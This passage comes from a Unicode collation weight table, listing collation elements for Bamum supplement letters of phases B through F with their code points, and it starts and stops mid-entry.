[.37CD.0020.0002] # BAMUM LETTER PHASE-B NSEN +1688C ; [.37CE.0020.0002] # BAMUM LETTER PHASE-B MA +1688D ; [.37CF.0020.0002] # BAMUM LETTER PHASE-B KIQ +1688E ; [.37D0.0020.0002] # BAMUM LETTER PHASE-B NGOM +1688F ; [.37D1.0020.0002] # BAMUM LETTER PHASE-C NGKUE MAEMBA +16890 ; [.37D2.0020.0002] # BAMUM LETTER PHASE-C NZA +16891 ; [.37D3.0020.0002] # BAMUM LETTER PHASE-C YUM +16892 ; [.37D4.0020.0002] # BAMUM LETTER PHASE-C WANGKUOQ +16893 ; [.37D5.0020.0002] # BAMUM LETTER PHASE-C NGGEN +16894 ; [.37D6.0020.0002] # BAMUM LETTER PHASE-C NDEUAEREE +16895 ; [.37D7.0020.0002] # BAMUM LETTER PHASE-C NGKAQ +16896 ; [.37D8.0020.0002] # BAMUM LETTER PHASE-C GHARAE +16897 ; [.37D9.0020.0002] # BAMUM LETTER PHASE-C MBEEKEET +16898 ; [.37DA.0020.0002] # BAMUM LETTER PHASE-C GBAYI +16899 ; [.37DB.0020.0002] # BAMUM LETTER PHASE-C NYIR MKPARAQ MEUN +1689A ; [.37DC.0020.0002] # BAMUM LETTER PHASE-C NTU MBIT +1689B ; [.37DD.0020.0002] # BAMUM LETTER PHASE-C MBEUM +1689C ; [.37DE.0020.0002] # BAMUM LETTER PHASE-C PIRIEEN +1689D ; [.37DF.0020.0002] # BAMUM LETTER PHASE-C NDOMBU +1689E ; [.37E0.0020.0002] # BAMUM LETTER PHASE-C MBAA CABBAGE-TREE +1689F ; [.37E1.0020.0002] # BAMUM LETTER PHASE-C KEUSHEUAEP +168A0 ; [.37E2.0020.0002] # BAMUM LETTER PHASE-C GHAP +168A1 ; [.37E3.0020.0002] # BAMUM LETTER PHASE-C KEUKAQ +168A2 ; [.37E4.0020.0002] # BAMUM LETTER PHASE-C YU MUOMAE +168A3 ; [.37E5.0020.0002] # BAMUM LETTER PHASE-C NZEUM +168A4 ; [.37E6.0020.0002] # BAMUM LETTER PHASE-C MBUE +168A5 ; [.37E7.0020.0002] # BAMUM LETTER PHASE-C NSEUAEN +168A6 ; [.37E8.0020.0002] # BAMUM LETTER PHASE-C MBIT +168A7 ; [.37E9.0020.0002] # BAMUM LETTER PHASE-C YEUQ +168A8 ; [.37EA.0020.0002] # BAMUM LETTER PHASE-C KPARAQ +168A9 ; [.37EB.0020.0002] # BAMUM LETTER PHASE-C KAA +168AA ; [.37EC.0020.0002] # BAMUM LETTER PHASE-C SEUX +168AB ; [.37ED.0020.0002] # BAMUM LETTER PHASE-C NDIDA +168AC ; [.37EE.0020.0002] # BAMUM LETTER PHASE-C TAASHAE +168AD ; [.37EF.0020.0002] # BAMUM LETTER PHASE-C NJUEQ +168AE ; [.37F0.0020.0002] # BAMUM LETTER PHASE-C TITA YUE +168AF ; [.37F1.0020.0002] # BAMUM LETTER PHASE-C SUAET +168B0 ; [.37F2.0020.0002] # BAMUM LETTER PHASE-C NGGUAEN NYAM +168B1 ; [.37F3.0020.0002] # BAMUM LETTER PHASE-C VEUX +168B2 ; [.37F4.0020.0002] # BAMUM LETTER PHASE-C NANSANAQ +168B3 ; [.37F5.0020.0002] # BAMUM LETTER PHASE-C MA KEUAERI +168B4 ; [.37F6.0020.0002] # BAMUM LETTER PHASE-C NTAA +168B5 ; [.37F7.0020.0002] # BAMUM LETTER PHASE-C NGGUON +168B6 ; [.37F8.0020.0002] # BAMUM LETTER PHASE-C LAP +168B7 ; [.37F9.0020.0002] # BAMUM LETTER PHASE-C MBIRIEEN +168B8 ; [.37FA.0020.0002] # BAMUM LETTER PHASE-C MGBASAQ +168B9 ; [.37FB.0020.0002] # BAMUM LETTER PHASE-C NTEUNGBA +168BA ; [.37FC.0020.0002] # BAMUM LETTER PHASE-C TEUTEUX +168BB ; [.37FD.0020.0002] # BAMUM LETTER PHASE-C NGGUM +168BC ; [.37FE.0020.0002] # BAMUM LETTER PHASE-C FUE +168BD ; [.37FF.0020.0002] # BAMUM LETTER PHASE-C NDEUT +168BE ; [.3800.0020.0002] # BAMUM LETTER PHASE-C NSA +168BF ; [.3801.0020.0002] # BAMUM LETTER PHASE-C NSHAQ +168C0 ; [.3802.0020.0002] # BAMUM LETTER PHASE-C BUNG +168C1 ; [.3803.0020.0002] # BAMUM LETTER PHASE-C VEUAEPEN +168C2 ; [.3804.0020.0002] # BAMUM LETTER PHASE-C MBERAE +168C3 ; [.3805.0020.0002] # BAMUM LETTER PHASE-C RU +168C4 ; [.3806.0020.0002] # BAMUM LETTER PHASE-C NJAEM +168C5 ; [.3807.0020.0002] # BAMUM LETTER PHASE-C LAM +168C6 ; [.3808.0020.0002] # BAMUM LETTER PHASE-C TITUAEP +168C7 ; [.3809.0020.0002] # BAMUM LETTER PHASE-C NSUOT NGOM +168C8 ; [.380A.0020.0002] # BAMUM LETTER PHASE-C NJEEEE +168C9 ; [.380B.0020.0002] # BAMUM LETTER PHASE-C KET +168CA ; [.380C.0020.0002] # BAMUM LETTER PHASE-C NGGU +168CB ; [.380D.0020.0002] # BAMUM LETTER PHASE-C MAESI +168CC ; [.380E.0020.0002] # BAMUM LETTER PHASE-C MBUAEM +168CD ; [.380F.0020.0002] # BAMUM LETTER PHASE-C LU +168CE ; [.3810.0020.0002] # BAMUM LETTER PHASE-C KUT +168CF ; [.3811.0020.0002] # BAMUM LETTER PHASE-C NJAM +168D0 ; [.3812.0020.0002] # BAMUM LETTER PHASE-C NGOM +168D1 ; [.3813.0020.0002] # BAMUM LETTER PHASE-C WUP +168D2 ; [.3814.0020.0002] # BAMUM LETTER PHASE-C NGGUEET +168D3 ; [.3815.0020.0002] # BAMUM LETTER PHASE-C NSOM +168D4 ; [.3816.0020.0002] # BAMUM LETTER PHASE-C NTEN +168D5 ; [.3817.0020.0002] # BAMUM LETTER PHASE-C KUOP NKAARAE +168D6 ; [.3818.0020.0002] # BAMUM LETTER PHASE-C NSUN +168D7 ; [.3819.0020.0002] # BAMUM LETTER PHASE-C NDAM +168D8 ; [.381A.0020.0002] # BAMUM LETTER PHASE-C MA NSIEE +168D9 ; [.381B.0020.0002] # BAMUM LETTER PHASE-C YAA +168DA ; [.381C.0020.0002] # BAMUM LETTER PHASE-C NDAP +168DB ; [.381D.0020.0002] # BAMUM LETTER PHASE-C SHUEQ +168DC ; [.381E.0020.0002] # BAMUM LETTER PHASE-C SETFON +168DD ; [.381F.0020.0002] # BAMUM LETTER PHASE-C MBI +168DE ; [.3820.0020.0002] # BAMUM LETTER PHASE-C MAEMBA +168DF ; [.3821.0020.0002] # BAMUM LETTER PHASE-C MBANYI +168E0 ; [.3822.0020.0002] # BAMUM LETTER PHASE-C KEUSEUX +168E1 ; [.3823.0020.0002] # BAMUM LETTER PHASE-C MBEUX +168E2 ; [.3824.0020.0002] # BAMUM LETTER PHASE-C KEUM +168E3 ; [.3825.0020.0002] # BAMUM LETTER PHASE-C MBAA PICKET +168E4 ; [.3826.0020.0002] # BAMUM LETTER PHASE-C YUWOQ +168E5 ; [.3827.0020.0002] # BAMUM LETTER PHASE-C NJEUX +168E6 ; [.3828.0020.0002] # BAMUM LETTER PHASE-C MIEE +168E7 ; [.3829.0020.0002] # BAMUM LETTER PHASE-C MUAE +168E8 ; [.382A.0020.0002] # BAMUM LETTER PHASE-C SHIQ +168E9 ; [.382B.0020.0002] # BAMUM LETTER PHASE-C KEN LAW +168EA ; [.382C.0020.0002] # BAMUM LETTER PHASE-C KEN FATIGUE +168EB ; [.382D.0020.0002] # BAMUM LETTER PHASE-C NGAQ +168EC ; [.382E.0020.0002] # BAMUM LETTER PHASE-C NAQ +168ED ; [.382F.0020.0002] # BAMUM LETTER PHASE-C LIQ +168EE ; [.3830.0020.0002] # BAMUM LETTER PHASE-C PIN +168EF ; [.3831.0020.0002] # BAMUM LETTER PHASE-C PEN +168F0 ; [.3832.0020.0002] # BAMUM LETTER PHASE-C TET +168F1 ; [.3833.0020.0002] # BAMUM LETTER PHASE-D MBUO +168F2 ; [.3834.0020.0002] # BAMUM LETTER PHASE-D WAP +168F3 ; [.3835.0020.0002] # BAMUM LETTER PHASE-D NJI +168F4 ; [.3836.0020.0002] # BAMUM LETTER PHASE-D MFON +168F5 ; [.3837.0020.0002] # BAMUM LETTER PHASE-D NJIEE +168F6 ; [.3838.0020.0002] # BAMUM LETTER PHASE-D LIEE +168F7 ; [.3839.0020.0002] # BAMUM LETTER PHASE-D NJEUT +168F8 ; [.383A.0020.0002] # BAMUM LETTER PHASE-D NSHEE +168F9 ; [.383B.0020.0002] # BAMUM LETTER PHASE-D NGGAAMAE +168FA ; [.383C.0020.0002] # BAMUM LETTER PHASE-D NYAM +168FB ; [.383D.0020.0002] # BAMUM LETTER PHASE-D WUAEN +168FC ; [.383E.0020.0002] # BAMUM LETTER PHASE-D NGKUN +168FD ; [.383F.0020.0002] # BAMUM LETTER PHASE-D SHEE +168FE ; [.3840.0020.0002] # BAMUM LETTER PHASE-D NGKAP +168FF ; [.3841.0020.0002] # BAMUM LETTER PHASE-D KEUAETMEUN +16900 ; [.3842.0020.0002] # BAMUM LETTER PHASE-D TEUT +16901 ; [.3843.0020.0002] # BAMUM LETTER PHASE-D SHEUAE +16902 ; [.3844.0020.0002] # BAMUM LETTER PHASE-D NJAP +16903 ; [.3845.0020.0002] # BAMUM LETTER PHASE-D SUE +16904 ; [.3846.0020.0002] # BAMUM LETTER PHASE-D KET +16905 ; [.3847.0020.0002] # BAMUM LETTER PHASE-D YAEMMAE +16906 ; [.3848.0020.0002] # BAMUM LETTER PHASE-D KUOM +16907 ; [.3849.0020.0002] # BAMUM LETTER PHASE-D SAP +16908 ; [.384A.0020.0002] # BAMUM LETTER PHASE-D MFEUT +16909 ; [.384B.0020.0002] # BAMUM LETTER PHASE-D NDEUX +1690A ; [.384C.0020.0002] # BAMUM LETTER PHASE-D MALEERI +1690B ; [.384D.0020.0002] # BAMUM LETTER PHASE-D MEUT +1690C ; [.384E.0020.0002] # BAMUM LETTER PHASE-D SEUAEQ +1690D ; [.384F.0020.0002] # BAMUM LETTER PHASE-D YEN +1690E ; [.3850.0020.0002] # BAMUM LETTER PHASE-D NJEUAEM +1690F ; [.3851.0020.0002] # BAMUM LETTER PHASE-D KEUOT MBUAE +16910 ; [.3852.0020.0002] # BAMUM LETTER PHASE-D NGKEURI +16911 ; [.3853.0020.0002] # BAMUM LETTER PHASE-D TU +16912 ; [.3854.0020.0002] # BAMUM LETTER PHASE-D GHAA +16913 ; [.3855.0020.0002] # BAMUM LETTER PHASE-D NGKYEE +16914 ; [.3856.0020.0002] # BAMUM LETTER PHASE-D FEUFEUAET +16915 ; [.3857.0020.0002] # BAMUM LETTER PHASE-D NDEE +16916 ; [.3858.0020.0002] # BAMUM LETTER PHASE-D MGBOFUM +16917 ; [.3859.0020.0002] # BAMUM LETTER PHASE-D LEUAEP +16918 ; [.385A.0020.0002] # BAMUM LETTER PHASE-D NDON +16919 ; [.385B.0020.0002] # BAMUM LETTER PHASE-D MONI +1691A ; [.385C.0020.0002] # BAMUM LETTER PHASE-D MGBEUN +1691B ; [.385D.0020.0002] # BAMUM LETTER PHASE-D PUUT +1691C ; [.385E.0020.0002] # BAMUM LETTER PHASE-D MGBIEE +1691D ; [.385F.0020.0002] # BAMUM LETTER PHASE-D MFO +1691E ; [.3860.0020.0002] # BAMUM LETTER PHASE-D LUM +1691F ; [.3861.0020.0002] # BAMUM LETTER PHASE-D NSIEEP +16920 ; [.3862.0020.0002] # BAMUM LETTER PHASE-D MBAA +16921 ; [.3863.0020.0002] # BAMUM LETTER PHASE-D KWAET +16922 ; [.3864.0020.0002] # BAMUM LETTER PHASE-D NYET +16923 ; [.3865.0020.0002] # BAMUM LETTER PHASE-D TEUAEN +16924 ; [.3866.0020.0002] # BAMUM LETTER PHASE-D SOT +16925 ; [.3867.0020.0002] # BAMUM LETTER PHASE-D YUWOQ +16926 ; [.3868.0020.0002] # BAMUM LETTER PHASE-D KEUM +16927 ; [.3869.0020.0002] # BAMUM LETTER PHASE-D RAEM +16928 ; [.386A.0020.0002] # BAMUM LETTER PHASE-D TEEEE +16929 ; [.386B.0020.0002] # BAMUM LETTER PHASE-D NGKEUAEQ +1692A ; [.386C.0020.0002] # BAMUM LETTER PHASE-D MFEUAE +1692B ; [.386D.0020.0002] # BAMUM LETTER PHASE-D NSIEET +1692C ; [.386E.0020.0002] # BAMUM LETTER PHASE-D KEUP +1692D ; [.386F.0020.0002] # BAMUM LETTER PHASE-D PIP +1692E ; [.3870.0020.0002] # BAMUM LETTER PHASE-D PEUTAE +1692F ; [.3871.0020.0002] # BAMUM LETTER PHASE-D NYUE +16930 ; [.3872.0020.0002] # BAMUM LETTER PHASE-D LET +16931 ; [.3873.0020.0002] # BAMUM LETTER PHASE-D NGGAAM +16932 ; [.3874.0020.0002] # BAMUM LETTER PHASE-D MFIEE +16933 ; [.3875.0020.0002] # BAMUM LETTER PHASE-D NGGWAEN +16934 ; [.3876.0020.0002] # BAMUM LETTER PHASE-D YUOM +16935 ; [.3877.0020.0002] # BAMUM LETTER PHASE-D PAP +16936 ; [.3878.0020.0002] # BAMUM LETTER PHASE-D YUOP +16937 ; [.3879.0020.0002] # BAMUM LETTER PHASE-D NDAM +16938 ; [.387A.0020.0002] # BAMUM LETTER PHASE-D NTEUM +16939 ; [.387B.0020.0002] # BAMUM LETTER PHASE-D SUAE +1693A ; [.387C.0020.0002] # BAMUM LETTER PHASE-D KUN +1693B ; [.387D.0020.0002] # BAMUM LETTER PHASE-D NGGEUX +1693C ; [.387E.0020.0002] # BAMUM LETTER PHASE-D NGKIEE +1693D ; [.387F.0020.0002] # BAMUM LETTER PHASE-D TUOT +1693E ; [.3880.0020.0002] # BAMUM LETTER PHASE-D MEUN +1693F ; [.3881.0020.0002] # BAMUM LETTER PHASE-D KUQ +16940 ; [.3882.0020.0002] # BAMUM LETTER PHASE-D NSUM +16941 ; [.3883.0020.0002] # BAMUM LETTER PHASE-D TEUN +16942 ; [.3884.0020.0002] # BAMUM LETTER PHASE-D MAENJET +16943 ; [.3885.0020.0002] # BAMUM LETTER PHASE-D NGGAP +16944 ; [.3886.0020.0002] # BAMUM LETTER PHASE-D LEUM +16945 ; [.3887.0020.0002] # BAMUM LETTER PHASE-D NGGUOM +16946 ; [.3888.0020.0002] # BAMUM LETTER PHASE-D NSHUT +16947 ; [.3889.0020.0002] # BAMUM LETTER PHASE-D NJUEQ +16948 ; [.388A.0020.0002] # BAMUM LETTER PHASE-D GHEUAE +16949 ; [.388B.0020.0002] # BAMUM LETTER PHASE-D KU +1694A ; [.388C.0020.0002] # BAMUM LETTER PHASE-D REN OLD +1694B ; [.388D.0020.0002] # BAMUM LETTER PHASE-D TAE +1694C ; [.388E.0020.0002] # BAMUM LETTER PHASE-D TOQ +1694D ; [.388F.0020.0002] # BAMUM LETTER PHASE-D NYI +1694E ; [.3890.0020.0002] # BAMUM LETTER PHASE-D RII +1694F ; [.3891.0020.0002] # BAMUM LETTER PHASE-D LEEEE +16950 ; [.3892.0020.0002] # BAMUM LETTER PHASE-D MEEEE +16951 ; [.3893.0020.0002] # BAMUM LETTER PHASE-D M +16952 ; [.3894.0020.0002] # BAMUM LETTER PHASE-D SUU +16953 ; [.3895.0020.0002] # BAMUM LETTER PHASE-D MU +16954 ; [.3896.0020.0002] # BAMUM LETTER PHASE-D SHII +16955 ; [.3897.0020.0002] # BAMUM LETTER PHASE-D SHEUX +16956 ; [.3898.0020.0002] # BAMUM LETTER PHASE-D KYEE +16957 ; [.3899.0020.0002] # BAMUM LETTER PHASE-D NU +16958 ; [.389A.0020.0002] # BAMUM LETTER PHASE-D SHU +16959 ; [.389B.0020.0002] # BAMUM LETTER PHASE-D NTEE +1695A ; [.389C.0020.0002] # BAMUM LETTER PHASE-D PEE +1695B ; [.389D.0020.0002] # BAMUM LETTER PHASE-D NI +1695C ; [.389E.0020.0002] # BAMUM LETTER PHASE-D SHOQ +1695D ; [.389F.0020.0002] # BAMUM LETTER PHASE-D PUQ +1695E ; [.38A0.0020.0002] # BAMUM LETTER PHASE-D MVOP +1695F ; [.38A1.0020.0002] # BAMUM LETTER PHASE-D LOQ +16960 ; [.38A2.0020.0002] # BAMUM LETTER PHASE-D REN MUCH +16961 ; [.38A3.0020.0002] # BAMUM LETTER PHASE-D TI +16962 ; [.38A4.0020.0002] # BAMUM LETTER PHASE-D NTUU +16963 ; [.38A5.0020.0002] # BAMUM LETTER PHASE-D MBAA SEVEN +16964 ; [.38A6.0020.0002] # BAMUM LETTER PHASE-D SAQ +16965 ; [.38A7.0020.0002] # BAMUM LETTER PHASE-D FAA +16966 ; [.38A8.0020.0002] # BAMUM LETTER PHASE-E NDAP +16967 ; [.38A9.0020.0002] # BAMUM LETTER PHASE-E TOON +16968 ; [.38AA.0020.0002] # BAMUM LETTER PHASE-E MBEUM +16969 ; [.38AB.0020.0002] # BAMUM LETTER PHASE-E LAP +1696A ; [.38AC.0020.0002] # BAMUM LETTER PHASE-E VOM +1696B ; [.38AD.0020.0002] # BAMUM LETTER PHASE-E LOON +1696C ; [.38AE.0020.0002] # BAMUM LETTER PHASE-E PAA +1696D ; [.38AF.0020.0002] # BAMUM LETTER PHASE-E SOM +1696E ; [.38B0.0020.0002] # BAMUM LETTER PHASE-E RAQ +1696F ; [.38B1.0020.0002] # BAMUM LETTER PHASE-E NSHUOP +16970 ; [.38B2.0020.0002] # BAMUM LETTER PHASE-E NDUN +16971 ; [.38B3.0020.0002] # BAMUM LETTER PHASE-E PUAE +16972 ; [.38B4.0020.0002] # BAMUM LETTER PHASE-E TAM +16973 ; [.38B5.0020.0002] # BAMUM LETTER PHASE-E NGKA +16974 ; [.38B6.0020.0002] # BAMUM LETTER PHASE-E KPEUX +16975 ; [.38B7.0020.0002] # BAMUM LETTER PHASE-E WUO +16976 ; [.38B8.0020.0002] # BAMUM LETTER PHASE-E SEE +16977 ; [.38B9.0020.0002] # BAMUM LETTER PHASE-E NGGEUAET +16978 ; [.38BA.0020.0002] # BAMUM LETTER PHASE-E PAAM +16979 ; [.38BB.0020.0002] # BAMUM LETTER PHASE-E TOO +1697A ; [.38BC.0020.0002] # BAMUM LETTER PHASE-E KUOP +1697B ; [.38BD.0020.0002] # BAMUM LETTER PHASE-E LOM +1697C ; [.38BE.0020.0002] # BAMUM LETTER PHASE-E NSHIEE +1697D ; [.38BF.0020.0002] # BAMUM LETTER PHASE-E NGOP +1697E ; [.38C0.0020.0002] # BAMUM LETTER PHASE-E MAEM +1697F ; [.38C1.0020.0002] # BAMUM LETTER PHASE-E NGKEUX +16980 ; [.38C2.0020.0002] # BAMUM LETTER PHASE-E NGOQ +16981 ; [.38C3.0020.0002] # BAMUM LETTER PHASE-E NSHUE +16982 ; [.38C4.0020.0002] # BAMUM LETTER PHASE-E RIMGBA +16983 ; [.38C5.0020.0002] # BAMUM LETTER PHASE-E NJEUX +16984 ; [.38C6.0020.0002] # BAMUM LETTER PHASE-E PEEM +16985 ; [.38C7.0020.0002] # BAMUM LETTER PHASE-E SAA +16986 ; [.38C8.0020.0002] # BAMUM LETTER PHASE-E NGGURAE +16987 ; [.38C9.0020.0002] # BAMUM LETTER PHASE-E MGBA +16988 ; [.38CA.0020.0002] # BAMUM LETTER PHASE-E GHEUX +16989 ; [.38CB.0020.0002] # BAMUM LETTER PHASE-E NGKEUAEM +1698A ; [.38CC.0020.0002] # BAMUM LETTER PHASE-E NJAEMLI +1698B ; [.38CD.0020.0002] # BAMUM LETTER PHASE-E MAP +1698C ; [.38CE.0020.0002] # BAMUM LETTER PHASE-E LOOT +1698D ; [.38CF.0020.0002] # BAMUM LETTER PHASE-E NGGEEEE +1698E ; [.38D0.0020.0002] # BAMUM LETTER PHASE-E NDIQ +1698F ; [.38D1.0020.0002] # BAMUM LETTER PHASE-E TAEN NTEUM +16990 ; [.38D2.0020.0002] # BAMUM LETTER PHASE-E SET +16991 ; [.38D3.0020.0002] # BAMUM LETTER PHASE-E PUM +16992 ; [.38D4.0020.0002] # BAMUM LETTER PHASE-E NDAA SOFTNESS +16993 ; [.38D5.0020.0002] # BAMUM LETTER PHASE-E NGGUAESHAE NYAM +16994 ; [.38D6.0020.0002] # BAMUM LETTER PHASE-E YIEE +16995 ; [.38D7.0020.0002] # BAMUM LETTER PHASE-E GHEUN +16996 ; [.38D8.0020.0002] # BAMUM LETTER PHASE-E TUAE +16997 ; [.38D9.0020.0002] # BAMUM LETTER PHASE-E YEUAE +16998 ; [.38DA.0020.0002] # BAMUM LETTER PHASE-E PO +16999 ; [.38DB.0020.0002] # BAMUM LETTER PHASE-E TUMAE +1699A ; [.38DC.0020.0002] # BAMUM LETTER PHASE-E KEUAE +1699B ; [.38DD.0020.0002] # BAMUM LETTER PHASE-E SUAEN +1699C ; [.38DE.0020.0002] # BAMUM LETTER PHASE-E TEUAEQ +1699D ; [.38DF.0020.0002] # BAMUM LETTER PHASE-E VEUAE +1699E ; [.38E0.0020.0002] # BAMUM LETTER PHASE-E WEUX +1699F ; [.38E1.0020.0002] # BAMUM LETTER PHASE-E LAAM +169A0 ; [.38E2.0020.0002] # BAMUM LETTER PHASE-E PU +169A1 ; [.38E3.0020.0002] # BAMUM LETTER PHASE-E TAAQ +169A2 ; [.38E4.0020.0002] # BAMUM LETTER PHASE-E GHAAMAE +169A3 ; [.38E5.0020.0002] # BAMUM LETTER PHASE-E NGEUREUT +169A4 ; [.38E6.0020.0002] # BAMUM LETTER PHASE-E SHEUAEQ +169A5 ; [.38E7.0020.0002] # BAMUM LETTER PHASE-E MGBEN +169A6 ; [.38E8.0020.0002] # BAMUM LETTER PHASE-E MBEE +169A7 ; [.38E9.0020.0002] # BAMUM LETTER PHASE-E NZAQ +169A8 ; [.38EA.0020.0002] # BAMUM LETTER PHASE-E NKOM +169A9 ; [.38EB.0020.0002] # BAMUM LETTER PHASE-E GBET +169AA ; [.38EC.0020.0002] # BAMUM LETTER PHASE-E TUM +169AB ; [.38ED.0020.0002] # BAMUM LETTER PHASE-E KUET +169AC ; [.38EE.0020.0002] # BAMUM LETTER PHASE-E YAP +169AD ; [.38EF.0020.0002] # BAMUM LETTER PHASE-E NYI CLEAVER +169AE ; [.38F0.0020.0002] # BAMUM LETTER PHASE-E YIT +169AF ; [.38F1.0020.0002] # BAMUM LETTER PHASE-E MFEUQ +169B0 ; [.38F2.0020.0002] # BAMUM LETTER PHASE-E NDIAQ +169B1 ; [.38F3.0020.0002] # BAMUM LETTER PHASE-E PIEEQ +169B2 ; [.38F4.0020.0002] # BAMUM LETTER PHASE-E YUEQ +169B3 ; [.38F5.0020.0002] # BAMUM LETTER PHASE-E LEUAEM +169B4 ; [.38F6.0020.0002] # BAMUM LETTER PHASE-E FUE +169B5 ; [.38F7.0020.0002] # BAMUM LETTER PHASE-E GBEUX +169B6 ; [.38F8.0020.0002] # BAMUM LETTER PHASE-E NGKUP +169B7 ; [.38F9.0020.0002] # BAMUM LETTER PHASE-E KET +169B8 ; [.38FA.0020.0002] # BAMUM LETTER PHASE-E MAE +169B9 ; [.38FB.0020.0002] # BAMUM LETTER PHASE-E NGKAAMI +169BA ; [.38FC.0020.0002] # BAMUM LETTER PHASE-E GHET +169BB ; [.38FD.0020.0002] # BAMUM LETTER PHASE-E FA +169BC ; [.38FE.0020.0002] # BAMUM LETTER PHASE-E NTUM +169BD ; [.38FF.0020.0002] # BAMUM LETTER PHASE-E PEUT +169BE ; [.3900.0020.0002] # BAMUM LETTER PHASE-E YEUM +169BF ; [.3901.0020.0002] # BAMUM LETTER PHASE-E NGGEUAE +169C0 ; [.3902.0020.0002] # BAMUM LETTER PHASE-E NYI BETWEEN +169C1 ; [.3903.0020.0002] # BAMUM LETTER PHASE-E NZUQ +169C2 ; [.3904.0020.0002] # BAMUM LETTER PHASE-E POON +169C3 ; [.3905.0020.0002] # BAMUM LETTER PHASE-E MIEE +169C4 ; [.3906.0020.0002] # BAMUM LETTER PHASE-E FUET +169C5 ; [.3907.0020.0002] # BAMUM LETTER PHASE-E NAE +169C6 ; [.3908.0020.0002] # BAMUM LETTER PHASE-E MUAE +169C7 ; [.3909.0020.0002] # BAMUM LETTER PHASE-E GHEUAE +169C8 ; [.390A.0020.0002] # BAMUM LETTER PHASE-E FU I +169C9 ; [.390B.0020.0002] # BAMUM LETTER PHASE-E MVI +169CA ; [.390C.0020.0002] # BAMUM LETTER PHASE-E PUAQ +169CB ; [.390D.0020.0002] # BAMUM LETTER PHASE-E NGKUM +169CC ; [.390E.0020.0002] # BAMUM LETTER PHASE-E KUT +169CD ; [.390F.0020.0002] # BAMUM LETTER PHASE-E PIET +169CE ; [.3910.0020.0002] # BAMUM LETTER PHASE-E NTAP +169CF ; [.3911.0020.0002] # BAMUM LETTER PHASE-E YEUAET +169D0 ; [.3912.0020.0002] # BAMUM LETTER PHASE-E NGGUP +169D1 ; [.3913.0020.0002] # BAMUM LETTER PHASE-E PA PEOPLE +169D2 ; [.3914.0020.0002] # BAMUM LETTER PHASE-E FU CALL +169D3 ; [.3915.0020.0002] # BAMUM LETTER PHASE-E FOM +169D4 ; [.3916.0020.0002] # BAMUM LETTER PHASE-E NJEE +169D5 ; [.3917.0020.0002] # BAMUM LETTER PHASE-E A +169D6 ; [.3918.0020.0002] # BAMUM LETTER PHASE-E TOQ +169D7 ; [.3919.0020.0002] # BAMUM LETTER PHASE-E O +169D8 ; [.391A.0020.0002] # BAMUM LETTER PHASE-E I +169D9 ; [.391B.0020.0002] # BAMUM LETTER PHASE-E LAQ +169DA ; [.391C.0020.0002] # BAMUM LETTER PHASE-E PA PLURAL +169DB ; [.391D.0020.0002] # BAMUM LETTER PHASE-E TAA +169DC ; [.391E.0020.0002] # BAMUM LETTER PHASE-E TAQ +169DD ; [.391F.0020.0002] # BAMUM LETTER PHASE-E NDAA MY HOUSE +169DE ; [.3920.0020.0002] # BAMUM LETTER PHASE-E SHIQ +169DF ; [.3921.0020.0002] # BAMUM LETTER PHASE-E YEUX +169E0 ; [.3922.0020.0002] # BAMUM LETTER PHASE-E NGUAE +169E1 ; [.3923.0020.0002] # BAMUM LETTER PHASE-E YUAEN +169E2 ; [.3924.0020.0002] # BAMUM LETTER PHASE-E YOQ SWIMMING +169E3 ; [.3925.0020.0002] # BAMUM LETTER PHASE-E YOQ COVER +169E4 ; [.3926.0020.0002] # BAMUM LETTER PHASE-E YUQ +169E5 ; [.3927.0020.0002] # BAMUM LETTER PHASE-E YUN +169E6 ; [.3928.0020.0002] # BAMUM LETTER PHASE-E KEUX +169E7 ; [.3929.0020.0002] # BAMUM LETTER PHASE-E PEUX +169E8 ; [.392A.0020.0002] # BAMUM LETTER PHASE-E NJEE EPOCH +169E9 ; [.392B.0020.0002] # BAMUM LETTER PHASE-E PUE +169EA ; [.392C.0020.0002] # BAMUM LETTER PHASE-E WUE +169EB ; [.392D.0020.0002] # BAMUM LETTER PHASE-E FEE +169EC ; [.392E.0020.0002] # BAMUM LETTER PHASE-E VEE +169ED ; [.392F.0020.0002] # BAMUM LETTER PHASE-E LU +169EE ; [.3930.0020.0002] # BAMUM LETTER PHASE-E MI +169EF ; [.3931.0020.0002] # BAMUM LETTER PHASE-E REUX +169F0 ; [.3932.0020.0002] # BAMUM LETTER PHASE-E RAE +169F1 ; [.3933.0020.0002] # BAMUM LETTER PHASE-E NGUAET +169F2 ; [.3934.0020.0002] # BAMUM LETTER PHASE-E NGA +169F3 ; [.3935.0020.0002] # BAMUM LETTER PHASE-E SHO +169F4 ; [.3936.0020.0002] # BAMUM LETTER PHASE-E SHOQ +169F5 ; [.3937.0020.0002] # BAMUM LETTER PHASE-E FU REMEDY +169F6 ; [.3938.0020.0002] # BAMUM LETTER PHASE-E NA +169F7 ; [.3939.0020.0002] # BAMUM LETTER PHASE-E PI +169F8 ; [.393A.0020.0002] # BAMUM LETTER PHASE-E LOQ +169F9 ; [.393B.0020.0002] # BAMUM LETTER PHASE-E KO +169FA ; [.393C.0020.0002] # BAMUM LETTER PHASE-E MEN +169FB ; [.393D.0020.0002] # BAMUM LETTER PHASE-E MA +169FC ; [.393E.0020.0002] # BAMUM LETTER PHASE-E MAQ +169FD ; [.393F.0020.0002] # BAMUM LETTER PHASE-E TEU +169FE ; [.3940.0020.0002] # BAMUM LETTER PHASE-E KI +169FF ; [.3941.0020.0002] # BAMUM LETTER PHASE-E MON +16A00 ; [.3942.0020.0002] # BAMUM LETTER PHASE-E TEN +16A01 ; [.3943.0020.0002] # BAMUM LETTER PHASE-E FAQ +16A02 ; [.3944.0020.0002] # BAMUM LETTER PHASE-E GHOM +16A03 ; [.3945.0020.0002] # BAMUM LETTER PHASE-F KA +16A04 ; [.3946.0020.0002] # BAMUM LETTER PHASE-F U +16A05 ; [.3947.0020.0002] # BAMUM LETTER PHASE-F KU +16A06 ; [.3948.0020.0002] # BAMUM LETTER PHASE-F EE +16A07 ; [.3949.0020.0002] # BAMUM LETTER PHASE-F REE +16A08 ; [.394A.0020.0002] # BAMUM LETTER PHASE-F TAE +16A09 ; [.394B.0020.0002] # BAMUM LETTER PHASE-F NYI +16A0A ; [.394C.0020.0002] # BAMUM LETTER PHASE-F LA +16A0B ; [.394D.0020.0002] # BAMUM LETTER PHASE-F RII +16A0C ; [.394E.0020.0002] # BAMUM LETTER PHASE-F RIEE +16A0D ; [.394F.0020.0002] # BAMUM LETTER PHASE-F MEEEE +16A0E ; [.3950.0020.0002] # BAMUM LETTER PHASE-F TAA +16A0F ; [.3951.0020.0002] # BAMUM LETTER PHASE-F NDAA +16A10 ; [.3952.0020.0002] # BAMUM LETTER PHASE-F NJAEM +16A11 ; [.3953.0020.0002] # BAMUM LETTER PHASE-F M +16A12 